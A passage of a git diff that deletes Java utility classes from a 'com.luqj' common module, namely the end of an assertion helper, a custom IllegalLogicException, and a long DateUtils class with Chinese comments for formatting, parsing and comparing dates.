@throws IllegalArgumentException 如果不成功 - */ - public static void isNewInstanceOf(Class type){ - isNewInstanceOf(type,""); - } - - /** - * 断言两个类型是否相同 - * @param type1 - * @param type2 - */ - public static void isSameType(Class type1,Class type2,String message){ - notNull(type1,"类型对象不可为空"); - notNull(type2,"类型对象不可为空"); - if(!type1.equals(type2)){ - throw new IllegalArgumentException(message); - } - } - - /** - * 断言两个类型是否相同 - * @param type1 - * @param type2 - */ - public static void isSameType(Class type1,Class type2){ - isSameType(type1, type2, "必须是相同类型"); - } - - /** - * 断言一个class对象调用newInstance,是否成功 - * @param type - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果不成功 - */ - public static void isNewInstanceOf(Class type,String message){ - notNull(type,"类型对象不可为空"); - try { - type.newInstance(); - } catch (InstantiationException e) { - - throw new IllegalArgumentException(message + - "Class [" + type +"] must be can new instance "); - } catch (IllegalAccessException e) { - - throw new IllegalArgumentException(message + - "Class [" + type +"] must be can new instance "); - } - } - - /** - * 断言superType.isAssignableFrom(subType)是否为true - * @param superType 超类 - * @param subType 子类 - * @throws IllegalArgumentException 如果调用该方法为false - */ - public static void isAssignable(Class superType, Class subType) { - isAssignable(superType, subType, ""); - } - - /** - * 断言superType.isAssignableFrom(subType)是否为true - * @param superType 超类 - * @param subType 子类 - * @param message 抛异常以后的消息 - * @throws IllegalArgumentException 如果调用该方法为false - */ - public static void isAssignable(Class superType, Class subType, String message) { - notNull(superType, "超类的类对象必须为非空"); - if (subType == null || !superType.isAssignableFrom(subType)) { - throw new IllegalArgumentException(message + subType + " is not assignable to " + superType); - } - } - - - /** - * 断言一个对象所属状态值是否为true - * @param expression 要断言的状态表达式 - * @param message 抛异常以后的消息 - * @throws IllegalStateException 如果表达式为false - */ - public static void state(boolean expression, String message) { - if (!expression) { - throw new IllegalStateException(message); - } - } - - - /** - * 断言一个对象所属状态值是否为true,有默认消息 - * @param expression 要断言的状态表达式 - * @throws IllegalStateException 如果表达式为false - */ - public static void state(boolean expression) { - state(expression, "[断言失败] - 状态表达式必须式true"); - } - - public static void logic(boolean expression,String message){ - if (!expression) { - throw new IllegalLogicException(message); - } - } - - public static void logic(boolean expression){ - logic(expression, "[断言失败] - 逻辑表达式必须是true"); - } - - public static void fail(String message){ - throw new IllegalLogicException(message); - } - - public static void fail(String message,Throwable e){ - throw new IllegalLogicException(LogUtil.exceptionMsg(message,e),e); - } -} diff --git a/luqj-common/src/main/java/com/luqj/util/assertion/IllegalLogicException.java b/luqj-common/src/main/java/com/luqj/util/assertion/IllegalLogicException.java deleted file mode 100644 index a1c5f36..0000000 --- a/luqj-common/src/main/java/com/luqj/util/assertion/IllegalLogicException.java +++ /dev/null @@ -1,21 +0,0 @@ -package com.luqj.util.assertion; - -public class IllegalLogicException extends RuntimeException { - - public IllegalLogicException() { - super(); - } - - public IllegalLogicException(String arg0, Throwable arg1) { - super(arg0, arg1); - } - - public IllegalLogicException(String arg0) { - super(arg0); - } - - public IllegalLogicException(Throwable arg0) { - super(arg0); - } - -} diff --git a/luqj-common/src/main/java/com/luqj/util/date/DateUtils.java b/luqj-common/src/main/java/com/luqj/util/date/DateUtils.java deleted file mode 100644 index c7546ce..0000000 --- a/luqj-common/src/main/java/com/luqj/util/date/DateUtils.java +++ /dev/null @@ -1,1331 +0,0 @@ -/** - * 版权所有:厦门市巨龙软件工程有限公司 - * Copyright 2009 Xiamen Dragon Software Eng. Co. Ltd. - * All right reserved. - *==================================================== - * 文件名称: DateUtils.java - * 修订记录: - * No 日期 作者(操作:具体内容) - * 1. Mar 3, 2009 何志昭(创建:创建文件) - * 2. Mar 3, 2009 根据dragonsoft_checks.xml规范进行调整 - *==================================================== - * 类描述: - * - */ -package com.luqj.util.date; - - -import com.luqj.util.StringUtils; -import com.luqj.util.Validator; - -import java.text.ParseException; -import java.text.SimpleDateFormat; -import java.util.Calendar; -import java.util.Date; -import java.util.GregorianCalendar; - -/** - * - * - * - *
- *
- *
JDK版本:
- *
- *
1.4
- *
- * - * @author 陈雄华,姚建斌,谢计生 - * @version 1.0 - * @see Java - * simpleDateFormat Tutorial - * @see Date - * @see Calendar - * @see SimpleDateFormat - * @since 1.0 - */ -public class DateUtils { - - /**一分钟的秒数*/ - public static final int SECONDS_ONE_MINUTE = 60; - - /**一秒的毫秒数*/ - public static final int MILLISECONDS_ONE_SECOND = 1000; - - /**一小时的秒数*/ - public static final int SECONDS_ONE_HOUR = 60 * SECONDS_ONE_MINUTE; - - /**一天的秒数*/ - public static final int SECONDS_ONE_DAY = 24 * SECONDS_ONE_HOUR; - - /** 数据库存储的时间格式串,如yyyymmdd 或yyyymmddHHMiSS */ - public static final int DB_STORE_DATE = 1; - - /** 用连字符-分隔的时间时间格式串,如yyyy-mm-dd 或yyyy-mm-dd HH:Mi:SS */ - public static final int HYPHEN_DISPLAY_DATE = 2; - - /** 用连字符.分隔的时间时间格式串,如yyyy.mm.dd 或yyyy.mm.dd HH:Mi:SS */ - public static final int DOT_DISPLAY_DATE = 3; - - /** 用中文字符分隔的时间格式串,如yyyy年mm月dd 或yyyy年mm月dd HH:Mi:SS */ - public static final int CN_DISPLAY_DATE = 4; - /** 日期的开始时间戳*/ - public static final String DB_STORE_DATE_BEGIN = "000000"; - /** 日期的结束时间戳*/ - public static final String DB_STORE_DATE_END = "235959"; - - - /** - * 获取当前月份的第一天 - * @return 第一天的日期对象 - * @author:李炜 - */ - public static Date getCurMonthFirstDate(){ - Calendar calendar = Calendar.getInstance(); - calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMinimum(Calendar.DAY_OF_MONTH)); - return calendar.getTime(); - } - - /** - * 获取当前月份的最后一天 - * @return 最后一天的日期对象 - * @author:李炜 - */ - public static Date getCurMonthLastDay() { - Calendar calendar = Calendar.getInstance(); - calendar.set(Calendar.DAY_OF_MONTH, calendar.getActualMaximum(Calendar.DAY_OF_MONTH)); - return calendar.getTime(); - } - - - /** - * 获取日期的开始时间戳 - * @param storeDate 数据库存储日期,格式yyyyMMddHHmmss - * @return storeDate - * @author:李炜 - */ - public static String getStoreDateBegin(String storeDate){ - if(storeDate.length() >= 8){ - return storeDate.substring(0,8)+DB_STORE_DATE_BEGIN; - }else{ - return storeDate; - } - } - - /** - * 获取日期的结束时间戳 - * @param storeDate 数据库存储日期,格式yyyyMMddHHmmss - * @return storeDate - * @author:李炜 - */ - public static String getStoreDateEnd(String storeDate){ - if(storeDate.length() >= 8){ - return storeDate.substring(0,8)+DB_STORE_DATE_END; - }else{ - return storeDate; - } - } - - - /** - * 得到精确到秒的格式化当前时间串 - * - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link #EN_HTML_DISPLAY_DATE},{@link #CN_HTML_DISPLAY_DATE} - * @return 当前时间格式化时间串 - */ - public static String getCurrTimeStr(int formatType) { - return getTimeStr(new Date(), formatType); - } - - /** - * 得到精确到秒的格式化时间串 - * - * @param date - * 指定时间 - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link #HYPHEN_DISPLAY_DATE},{@link #DOT_DISPLAY_DATE} - * @return 指定时间的格式化时间串 - */ - public static String getTimeStr(Date date, int formatType) { - if (formatType < DB_STORE_DATE || formatType > CN_DISPLAY_DATE) { - throw new IllegalArgumentException("时间格式化类型不是合法的值。"); - } else { - String formatStr = null; - switch (formatType) { - case DB_STORE_DATE: - formatStr = "yyyyMMddHHmmss"; - break; - case HYPHEN_DISPLAY_DATE: - formatStr = "yyyy'-'MM'-'dd HH:mm:ss"; - break; - case DOT_DISPLAY_DATE: - formatStr = "yyyy.MM.dd HH:mm:ss"; - break; - case CN_DISPLAY_DATE: - formatStr = "yyyy'年'MM'月'dd HH:mm:ss"; - break; - default: - formatStr = "yyyyMMddHHmmss"; - break; - } - SimpleDateFormat sdf = new SimpleDateFormat(formatStr); - return sdf.format(date); - } - } - - /** - * 得到精确到天的当前格式化日期串 - * - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link #EN_HTML_DISPLAY_DATE},{@link #CN_HTML_DISPLAY_DATE} - * @return String - */ - public static String getCurrDateStr(int formatType) { - return getDateStr(new Date(), formatType); - } - - /** - * 得到精确到天的指定时间格式化日期串 - * - * @param date - * 指定时间 - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link #EN_HTML_DISPLAY_DATE},{@link #CN_HTML_DISPLAY_DATE} - * @return 指定时间格式化日期串 - */ - public static String getDateStr(Date date, int formatType) { - if (formatType < DB_STORE_DATE || formatType > CN_DISPLAY_DATE) { - throw new IllegalArgumentException("时间格式化类型不是合法的值。"); - } else { - String formatStr = null; - switch (formatType) { - case DB_STORE_DATE: - formatStr = "yyyyMMdd"; - break; - case HYPHEN_DISPLAY_DATE: - formatStr = "yyyy-MM-dd"; - break; - case DOT_DISPLAY_DATE: - formatStr = "yyyy.MM.dd"; - break; - case CN_DISPLAY_DATE: - formatStr = "yyyy'年'MM'月'dd"; - break; - default: - formatStr = "yyyyMMdd"; - break; - } - SimpleDateFormat sdf = new SimpleDateFormat(formatStr); - return sdf.format(date); - } - } - - /** - * 得到精确到月的当前时间格式化年月串 - * - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link #EN_HTML_DISPLAY_DATE},{@link #CN_HTML_DISPLAY_DATE} - * @return 精确到月当前时间格式化年月串 - */ - public static String getYearMonthStr(int formatType) { - return getYearMonthStr(new Date(), formatType); - } - - /** - * 得到精确到月的指定时间格式化年月串 - * - * @param date - * 指定的时间 - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link #EN_HTML_DISPLAY_DATE},{@link #CN_HTML_DISPLAY_DATE} - * @return 精确到月当前时间格式化年月串 - */ - public static String getYearMonthStr(Date date, int formatType) { - if (formatType < DB_STORE_DATE || formatType > CN_DISPLAY_DATE) { - throw new IllegalArgumentException("时间格式化类型不是合法的值。"); - } else { - String formatStr = null; - switch (formatType) { - case DB_STORE_DATE: - formatStr = "yyyyMM"; - break; - case HYPHEN_DISPLAY_DATE: - formatStr = "yyyy-MM"; - break; - case DOT_DISPLAY_DATE: - formatStr = "yyyy.MM"; - break; - case CN_DISPLAY_DATE: - formatStr = "yyyy'年'MM'月'"; - break; - default: - formatStr = "yyyyMM"; - break; - } - - SimpleDateFormat sdf = new SimpleDateFormat(formatStr); - return sdf.format(date); - } - } - - /** - * 将数据库存储的日期格式串转换为各种显示的格式 - * - * @param dateStr - * 最小6位,最大14位的数据库存储格式时间串如:20041212 - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link #EN_HTML_DISPLAY_DATE},{@link #CN_HTML_DISPLAY_DATE} - * @return 格式化的时间串 - */ - public static String toDisplayStr(String dateStr, int formatType) { - if (formatType < DB_STORE_DATE || formatType > CN_DISPLAY_DATE) { - throw new IllegalArgumentException("时间格式化类型不是合法的值。"); - } - if (dateStr == null || dateStr.length() < 6 || dateStr.length() > 14 || formatType == DB_STORE_DATE) { - return StringUtils.toVisualString(dateStr); - } else { - char[] charArr = null; - switch (formatType) { - case HYPHEN_DISPLAY_DATE: - charArr = new char[] { '-', '-', ' ', ':', ':' }; - break; - case DOT_DISPLAY_DATE: - charArr = new char[] { '.', '.', ' ', ':', ':' }; - break; - case CN_DISPLAY_DATE: - charArr = new char[] { '年', '月', ' ', ':', ':' }; - break; - default: - charArr = new char[] { '-', '-', ' ', ':', ':' }; - } - try { - SimpleDateFormat sdf1 = null; - SimpleDateFormat sdf2 = null; - switch (dateStr.length()) { - case 6: - sdf1 = new SimpleDateFormat("yyyyMM"); - sdf2 = new SimpleDateFormat("yyyy'" + charArr[0] + "'MM"); - break; - case 8: - sdf1 = new SimpleDateFormat("yyyyMMdd"); - sdf2 = new SimpleDateFormat("yyyy'" + charArr[0] + "'MM'" + charArr[1] + "'dd"); - break; - case 10: - sdf1 = new SimpleDateFormat("yyyyMMddHH"); - sdf2 = new SimpleDateFormat("yyyy'" + charArr[0] + "'MM'" + charArr[1] + "'dd'" - + "+charArr[2]" + "'HH"); - break; - case 12: - sdf1 = new SimpleDateFormat("yyyyMMddHHmm"); - sdf2 = new SimpleDateFormat("yyyy'" + charArr[0] + "'MM'" + charArr[1] + "'dd'" + charArr[2] - + "'HH'" + charArr[3] + "'mm"); - break; - case 14: - sdf1 = new SimpleDateFormat("yyyyMMddHHmmss"); - sdf2 = new SimpleDateFormat("yyyy'" + charArr[0] + "'MM'" + charArr[1] + "'dd'" + charArr[2] - + "'HH'" + charArr[3] + "'mm'" + charArr[4] + "'ss"); - break; - default: - return dateStr; - } - return sdf2.format(sdf1.parse(dateStr)); - } catch (ParseException ex) { - return dateStr; - } - } - } - - /** - * 将显示格式的时间字符串转换为数据库存储的类型 - * - * @param dateStr - * 最小4位,最大19位。显示的时间格式时间串如:2004-12-12 - * @return 数据库存储的时间字符串 - */ - public static String toStoreStr(String dateStr) { - if (dateStr == null || dateStr.trim().equals("")) { - return ""; - } - StringBuffer strBuf = new StringBuffer(); - for (int i = 0; i < dateStr.length(); i++) { - if (dateStr.charAt(i) >= '0' && dateStr.charAt(i) <= '9') { - strBuf.append(dateStr.charAt(i)); - } - } - return strBuf.toString(); - } - - /** - * 将生日存储的时间格式转化为年龄(周岁,小数点后不计) - * - * @param birthdayStr - * 生日字段 "yyyymmdd" - * @return 年龄 - */ - public static String birthdayToAge(String birthdayStr) { - if (birthdayStr == null || birthdayStr.length() < 6) { - return ""; - } else { - int birthYear = Integer.parseInt(birthdayStr.substring(0, 4)); - int birthMonth = Integer.parseInt(birthdayStr.substring(4, 6)); - Calendar cal = new GregorianCalendar(); - int currYear = cal.get(Calendar.YEAR); - int currMonth = cal.get(Calendar.MONTH); - int age = currYear - birthYear; - age -= (currMonth < birthMonth) ? 1 : 0; - return "" + age; - } - } - - /** - * - * @param dateTimeStr - * String 格式化的时间串 - * @param formatType - * 数据格式类型 {@link #DB_STORE_DATE},{@link #EN_HTML_DISPLAY_DATE},{@link #CN_HTML_DISPLAY_DATE} - * @param detal - * int 增加或减少的时间 - * @param field - * int 参见Calendar中关于时间字段属性的定义 - * @return String 返回的 - */ - public static String add(String dateTimeStr, int formatType, int detal, int field) { - if (dateTimeStr == null || dateTimeStr.length() < 6) { - return dateTimeStr; - } else { - try { - String formatStr = null; - switch (formatType) { - case DB_STORE_DATE: - formatStr = "yyyyMMddHHmmss"; - break; - case HYPHEN_DISPLAY_DATE: - formatStr = "yyyy-MM-dd HH:mm:ss"; - break; - case DOT_DISPLAY_DATE: - formatStr = "yyyy.MM.dd HH:mm:ss"; - break; - case CN_DISPLAY_DATE: - formatStr = "yyyy'年'MM'月' HH:mm:ss"; - break; - default: - formatStr = "yyyyMMddHHmmss"; - break; - } - - formatStr = formatStr.substring(0, dateTimeStr.length()); - SimpleDateFormat sdf = new SimpleDateFormat(formatStr); - Date d = sdf.parse(dateTimeStr); - GregorianCalendar g = new GregorianCalendar(); - g.setTime(d); - g.add(field, detal); - d = g.getTime(); - return sdf.format(d); - } catch (ParseException ex) { - - return dateTimeStr; - } - } - } - - // /** - // * @param date Date 时间 - // * @param detal int 增加的时间 - // * @param field int 参见Calendar中关于时间字段属性的定义 - // * @return Date - // */ - // public static Date add(Date date, int detal, int field) - // { - // Calendar g = new GregorianCalendar(); - // g.setTime(date); - // g.add(field, detal); - // return g.getTime(); - // } - /** - * 日期、时间格式化 - * - * @param date - * Date 将要被格式化的日期对象 - * @param outFmt - * String 返回样式,参照类说明,如:yyyy年MM月dd日 - * @return String 格式化后的日期、时间字符串,data为null时返回null,outFmt非法时返回yyyyMMdd格式 - */ - public static String getDateFormat(Date date, String outFmt) { - if (null == date) { - return null; - } - String newOutFmt = outFmt; - - if (null == newOutFmt || "".equals(newOutFmt.trim())) { // outFmt非法 - newOutFmt = "yyyyMMdd"; - } - - String retu = null; - SimpleDateFormat dateFormat = null; - try { - dateFormat = new SimpleDateFormat(newOutFmt); - } catch (IllegalArgumentException iaex) { // outFmt非法 - dateFormat = new SimpleDateFormat("yyyyMMdd"); - } - retu = dateFormat.format(date); - - dateFormat = null; - - return retu; - } - - /** - * 把日期时间对象格式化为yyyyMMdd样式 - * - * @param date - * Date 将要被格式化的日期对象 - * @return String 格式化后的日期、时间字符串,如:20041001 - */ - public static String getDateFormat(Date date) { - return getDateFormat(date, "yyyyMMdd"); - } - - /** - * 把日期时间对象格式化为yyyyMMdd样式 - * - * @param date - * Date 将要被格式化的日期对象 - * @return String 格式化后的日期、时间字符串,如:20041001 - */ - public static String getDateFormatByFmt(Date date,String outFmt) { - return getDateFormat(date, outFmt); - } - - /** - * 把系统当前日期时间格式化为指定的样式 - * - * @param outFmt - * String 返回样式,参照类说明,如:yyyy年MM月dd日 - * @return String 格式化后的日期、时间字符串,如:2004年10月01日 - */ - public static String getDateFormat(String outFmt) { - return getDateFormat(new Date(), outFmt); - } - - /** - * 把系统当前日期时间格式化为默认样式yyyyMMdd - * - * @return String 格式化后的日期、时间字符串,如:20041001 - */ - public static String getDateFormat() { - return getDateFormat(new Date(), "yyyyMMdd"); - } - - /** - * 日期、时间格式化 - * - * @param millis - * long the number of milliseconds(毫秒) since January 1, 1970, - * 00:00:00 GMT. - * @param outFmt - * String 返回样式,参照类说明,如:yyyy年MM月dd日 - * @return String 格式化后的日期、时间字符串 - */ - public static String getDateFormat(long millis, String outFmt) { - Calendar calendar = Calendar.getInstance(); - calendar.setTimeInMillis(millis); - - String retu = getDateFormat(calendar.getTime(), outFmt); - calendar = null; - return retu; - } - - /** - * 日期、时间格式化 - * - * @param datestr - * String 存在一定格式的日期、时间字符串,如:20041001、200410011503 - * @param inFmt - * String 对datestr参数格式说明,参照类说明,如:yyyyMMdd、yyyyMMddHHmm - * @param outFmt - * String 返回样式,参照类说明,如:yyyy年MM月dd日 - * @throws ParseException - * 当datestr不能格式化为inFmt格式时抛出此异常 - * @return String 格式化后的日期、时间字符串,如:2004年10月01日、2004年10月01日
- * 输出样式outFmt非法时,使用yyyyMMdd格式输出 - */ - public static String getDateFormat(String datestr, String inFmt, String outFmt) throws ParseException { - if (null == datestr || "".equals(datestr.trim())) { - return datestr; - } - - if (null == inFmt || "".equals(inFmt.trim())) { - return datestr; - } - - String newOutFmt = outFmt; - if (null == newOutFmt || "".equals(newOutFmt.trim())) { // 输出样式非法 - newOutFmt = "yyyyMMdd"; - } - - Date inDate = getDate(datestr, inFmt); - - if (null == inDate) { // 根据inFmt分析datestr时抛出异常 - return datestr; - } - - String retu = getDateFormat(inDate, newOutFmt); - inDate = null; - return retu; - } - - /** - * 把日期时间字符串,按inFmt样式转化为日期对象,然后格式化为默认样式yyyyMMdd - * - * @param datestr - * String 存在一定格式的日期、时间字符串,如:20041001、200410011503 - * @param inFmt - * String 对datestr参数格式说明,参照类说明,如:yyyyMMdd、yyyyMMddHHmm - * @throws ParseException - * 当datestr不能格式化为inFmt格式时抛出此异常 - * @return String 格式化后的日期、时间字符串,如:20041001、20041001 - */ - public static String getDateFormat(String datestr, String inFmt) throws ParseException { - return getDateFormat(datestr, inFmt, "yyyyMMdd"); - } - - /** - * 根据inFmt的样式,日期时间字符串转化为日期时间对象 - * - * @param datestr - * String 日期时间字符串,如:20041001、2004年10月01日 15:03 - * @param inFmt - * String 对datestr参数格式说明,参照类说明,如yyyyMMdd、yyyy年MM月dd日 HH:mm - * @throws ParseException - * 当datestr不能格式化为inFmt格式时抛出此异常 - * @return Date 日期时间对象,格式inFmt非法时,使用yyyyMMdd格式 - */ - public static Date getFillDate(String datestr, String inFmt,boolean end) throws ParseException { - if (null == datestr || "".equals(datestr.trim())) { - return null; - } - - String newInFmt = inFmt; - if (null == newInFmt || "".equals(newInFmt.trim())) { // inFmt非法 - newInFmt = "yyyyMMdd"; - } - String[] endFlag = new String[]{"9","5"}; - String endStr = ""; - if(datestr.length()!=newInFmt.length()){ - int len = newInFmt.length()-datestr.length(); - if(end){ - for(int i=len;i>0;i--){ - endStr=endFlag[(i+1)%2]+endStr; - } - }else{ - for(int i=len;i>0;i--){ - endStr+="0"; - } - } - } - - datestr=datestr.trim()+endStr; - Date inDate = null; - - // 依据inFmt格式把日期字符串转化为日期对象 - SimpleDateFormat inDateFormat = new SimpleDateFormat(newInFmt); - inDateFormat.setLenient(true); - inDate = inDateFormat.parse(datestr); - - inDateFormat = null; - return inDate; - } - /** - * 根据inFmt的样式,日期时间字符串转化为sql日期时间对象 - * - * @param datestr - * String 日期时间字符串,如:20041001、2004年10月01日 15:03 - * @param inFmt - * String 对datestr参数格式说明,参照类说明,如yyyyMMdd、yyyy年MM月dd日 HH:mm - * @throws ParseException - * 当datestr不能格式化为inFmt格式时抛出此异常 - * @return Date 日期时间对象,格式inFmt非法时,使用yyyyMMdd格式 - */ - public static java.sql.Date getSqlDate(String datestr,String inFmt) throws ParseException{ - Date utilDate = getDate(datestr, inFmt); - return new java.sql.Date(utilDate.getTime()); - } - - /** - * 根据inFmt的样式,日期时间字符串转化为日期时间对象 - * - * @param datestr - * String 日期时间字符串,如:20041001、2004年10月01日 15:03 - * @param inFmt - * String 对datestr参数格式说明,参照类说明,如yyyyMMdd、yyyy年MM月dd日 HH:mm - * @throws ParseException - * 当datestr不能格式化为inFmt格式时抛出此异常 - * @return Date 日期时间对象,格式inFmt非法时,使用yyyyMMdd格式 - */ - public static Date getDate(String datestr, String inFmt) throws ParseException { - if (null == datestr || "".equals(datestr.trim())) { - return null; - } - - String newInFmt = inFmt; - if (null == newInFmt || "".equals(newInFmt.trim())) { // inFmt非法 - newInFmt = "yyyyMMdd"; - } - - Date inDate = null; - - // 依据inFmt格式把日期字符串转化为日期对象 - SimpleDateFormat inDateFormat = new SimpleDateFormat(newInFmt); - inDateFormat.setLenient(true); - inDate = inDateFormat.parse(datestr); - - inDateFormat = null; - return inDate; - } - - /** - * - * @param date1 - * @param date2 - * @return - * @author:李炜 - */ - public static int dateDiff(Date date1,Date date2){ - if(date1.compareTo(date2) == 0){ - return 0; - } - long second = Math.abs((date1.getTime() - date2.getTime())) / 1000; - return (int) (second / SECONDS_ONE_DAY); - } - - /** - * 相差的时间(单位:秒) - * @param date1 - * @param date2 - * @return - */ - public static long secondDiff(Date date1,Date date2){ - if(date1.compareTo(date2) == 0){ - return 0; - } - long second = Math.abs((date1.getTime() - date2.getTime())) / 1000; - return second; - } - - - public static int dateCompare(Date date1,Date date2){ - if(date1 == null){ - return -1; - } - if(date2 == null){ - return -1; - } - if(date1.compareTo(date2) == 0){ - return 0; - } - long second =(date1.getTime() - date2.getTime()) / 1000; - return (int) (second / SECONDS_ONE_DAY); - } - - - - public static int dateSimpleCompare(String dateStr1,String dateStr2,String format){ - - Date date1 = null; - Date date2 = null; - try { - SimpleDateFormat dateFormat = new SimpleDateFormat(format); - date1 = dateFormat.parse(dateStr1); - date2 = dateFormat.parse(dateStr2); - if(date1.getTime()>date2.getTime()){ - return 1; - }else if(date1.getTime() - * 例子: - * - *
-     * <blockquote>
-     * 计算去年今天星期几
-     * Date date = DateUtils.addDate(new Date(),Calendar.YEAR,-1);
-     * System.out.println(DateUtils.getDateFormat(date,"E"));
-     * 打印60天后是什么日期,并显示为 yyyy-MM-dd 星期
-     * Date date = DateUtils.addDate(new Date(),Calendar.DATE,60);
-     * System.out.println(DateUtils.getDateFormat(date,"yyyy-MM-dd E"));
-     * </blockquote>
-     * 
- * - * @param date - * Date 需要调整的日期时间对象 - * @param calendarField - * int 对日期时间对象以什么单位进行调整: - * - *
-     * <blockquote>
-     * 年 Calendar.YEAR
-     * 月 Calendar.MONTH
-     * 日 Calendar.DATE
-     * 时 Calendar.HOUR
-     * 分 Calendar.MINUTE
-     * 秒 Calendar.SECOND
-     * </blockquote>
-     * 
- * - * @param amount - * int 调整数量,>0表向后调整(明天,明年),<0表向前调整(昨天,去年) - * @return Date 调整后的日期时间对象 - */ - public static Date addDate(Date date, int calendarField, int amount) { - if (null == date) { - return date; - } - Calendar calendar = Calendar.getInstance(); - calendar.setTime(date); - calendar.add(calendarField, amount); - return calendar.getTime(); - } - - /** - * 对日期时间对象进行调整. - * - * @param datestr - * String 需要调整的日期时间字符串,它的格式为yyyyMMdd - * @param calendarField - * int 对日期时间对象以什么单位进行调整 - * @param amount - * int 调整数量 - * @throws ParseException - * 当datestr不能格式化为yyyyMMdd格式时抛出此异常 - * @return Date 调整后的日期时间对象 - * @see #addDate(Date, int, int) - */ - public static Date addDate(String datestr, int calendarField, int amount) throws ParseException { - return addDate(getDate(datestr, "yyyyMMdd"), calendarField, amount); - } - - /** - * 根据出生日期,计算出在某一个日期的年龄 - * - * @param birthday - * Date 出生日期时间对象 - * @param date2 - * Date 计算日期对象 - * @return int 返回date2那一天出生日期为birthday的年龄,如果birthday大于date2则返回-1 - */ - public static int getAge(Date birthday, Date date2) { - if (null == birthday || null == date2) { - return -1; - } - - if (birthday.after(date2)) { // birthday大于date2 - return -1; - } - - int ibdYear = StringUtils.getInt(getDateFormat(birthday, "yyyy"), -1); - int idate2Year = StringUtils.getInt(getDateFormat(date2, "yyyy"), -1); - - if (ibdYear < 0 || idate2Year < 0) { - return -1; - } - if (ibdYear > idate2Year) { - return -1; - } - - return idate2Year - ibdYear + 1; - } - - /** - * 根据出生日期,计算出当前的年龄 - * - * @param birthday - * Date 出生日期时间对象 - * @return int 返回出生日期为birthday的年龄,如果birthday大于当前系统日期则返回-1 - */ - public static int getAge(Date birthday) { - return getAge(birthday, new Date()); - } - - /** - * 根据出生日期,计算出当前的年龄 - * - * @param birthdaystr - * String 出生日期时间字符串,其格式一定为yyyyMMdd - * @throws ParseException - * 当datestr不能格式化为yyyyMMdd格式时抛出此异常 - * @return int 返回出生日期为birthday的年龄,如果birthday大于当前系统日期则返回-1 - */ - public static int getAge(String birthdaystr) throws ParseException { - return getAge(getDate(birthdaystr, "yyyyMMdd")); - } - - public static String dbCurrtime(){ - return getCurrTime(DB_STORE_DATE); - } - - /** - * 得到14位的当前格式化时间 - * - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link - * @return java.lang.String - */ - public static String getCurrTime(int formatType) { - if (formatType < DB_STORE_DATE || formatType > CN_DISPLAY_DATE) { - throw new IllegalArgumentException("时间格式化类型不是合法的值。"); - } else { - String formatStr = null; - switch (formatType) { - case DB_STORE_DATE: - formatStr = "yyyyMMddHHmmss"; - break; - case HYPHEN_DISPLAY_DATE: - formatStr = "yyyy-MM-dd HH:mm:ss"; - break; - case DOT_DISPLAY_DATE: - formatStr = "yyyy.MM.dd HH:mm:ss"; - break; - case CN_DISPLAY_DATE: - formatStr = "yyyy年MM月dd HH:mm:ss"; - break; - default: - formatStr = "yyyyMMddHHmmss"; - break; - } - SimpleDateFormat sdf = new SimpleDateFormat(formatStr); - return sdf.format(new Date()); - } - } - - /** - * 得到8位的当前格式化日期 - * - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link - * @return java.lang.String - */ - public static String getCurrDate(int formatType) { - if (formatType < DB_STORE_DATE || formatType > CN_DISPLAY_DATE) { - throw new IllegalArgumentException("时间格式化类型不是合法的值。"); - } else { - String formatStr = null; - switch (formatType) { - case DB_STORE_DATE: - formatStr = "yyyyMMdd"; - break; - case HYPHEN_DISPLAY_DATE: - formatStr = "yyyy-MM-dd"; - break; - case DOT_DISPLAY_DATE: - formatStr = "yyyy.MM.dd"; - break; - case CN_DISPLAY_DATE: - formatStr = "yyyy'年'MM'月'dd"; - break; - default: - formatStr = "yyyyMMdd"; - break; - } - SimpleDateFormat sdf = new SimpleDateFormat(formatStr); - return sdf.format(new Date()); - } - } - - /** - * 得到6位的当前格式化年月 - * - * @param formatType - * 时间格式的类型{@link #DB_STORE_DATE},{@link - * @return java.lang.String - */ - public static String getYearMonth(int formatType) { - if (formatType < DB_STORE_DATE || formatType > CN_DISPLAY_DATE) { - throw new IllegalArgumentException("时间格式化类型不是合法的值。"); - } else { - String formatStr = null; - switch (formatType) { - case DB_STORE_DATE: - formatStr = "yyyyMM"; - break; - case HYPHEN_DISPLAY_DATE: - formatStr = "yyyy-MM"; - break; - case DOT_DISPLAY_DATE: - formatStr = "yyyy.MM"; - break; - case CN_DISPLAY_DATE: - formatStr = "yyyy'年'MM'月'"; - break; - default: - formatStr = "yyyyMM"; - break; - } - SimpleDateFormat sdf = new SimpleDateFormat(formatStr); - return sdf.format(new Date()); - } - } - - /** - * 获取时间所对应的毫秒 - * - * @param datetime - * String 时间字符串 - * @param inFmt - * String 时间格式化串 - * @return long 毫秒数 - * @throws ParseException - * ParseException - */ - public static long getTimeValue(String datetime, String inFmt) throws ParseException { - return getDate(datetime, inFmt).getTime(); - } - - /** - * 两个秒数只差 - * @param startTime - * @param endTime - * @param inFmt - * @return - */ - public static long consumeSecondsValue(String startTime,String endTime,String inFmt) throws ParseException{ - long startSeconds = getTimeValue(startTime,inFmt); - long endSeconds = getTimeValue(endTime,inFmt); - return (endSeconds - startSeconds)/1000; - } - - /** - * 获取时间字符串 - * - * @param milliSeconds - * long 从1970年到现在的毫 - * @param formatType - * int 时间类型 - * @return String 时间字符串 - */ - public static String getTimeStr(long milliSeconds, int formatType) { - Date d = new Date(milliSeconds); - return getTimeStr(d, formatType); - } - - - - /** - * getTimeByValue - * - * @param time - * 时间 - * @param timeOldFormat - * 旧时间格式 - * @param timeNewFormat - * 新时间格式 - * @return String - * @author:Administrator - */ - public static String getTimeByValue(String time, String timeOldFormat, String timeNewFormat) { - SimpleDateFormat oldSdf = new SimpleDateFormat(timeOldFormat); - SimpleDateFormat newSdf = new SimpleDateFormat(timeNewFormat); - String newTime = time; - try { - if (Validator.hasText(time)) { - // Date times = oldSdf.parse(time); - newTime = newSdf.format(oldSdf.parse(time)); - } - } catch (ParseException e1) { - - } - return newTime; - } - - - /** - * 返回上月的起始日期和结束日期,格式YYYYMMDD - 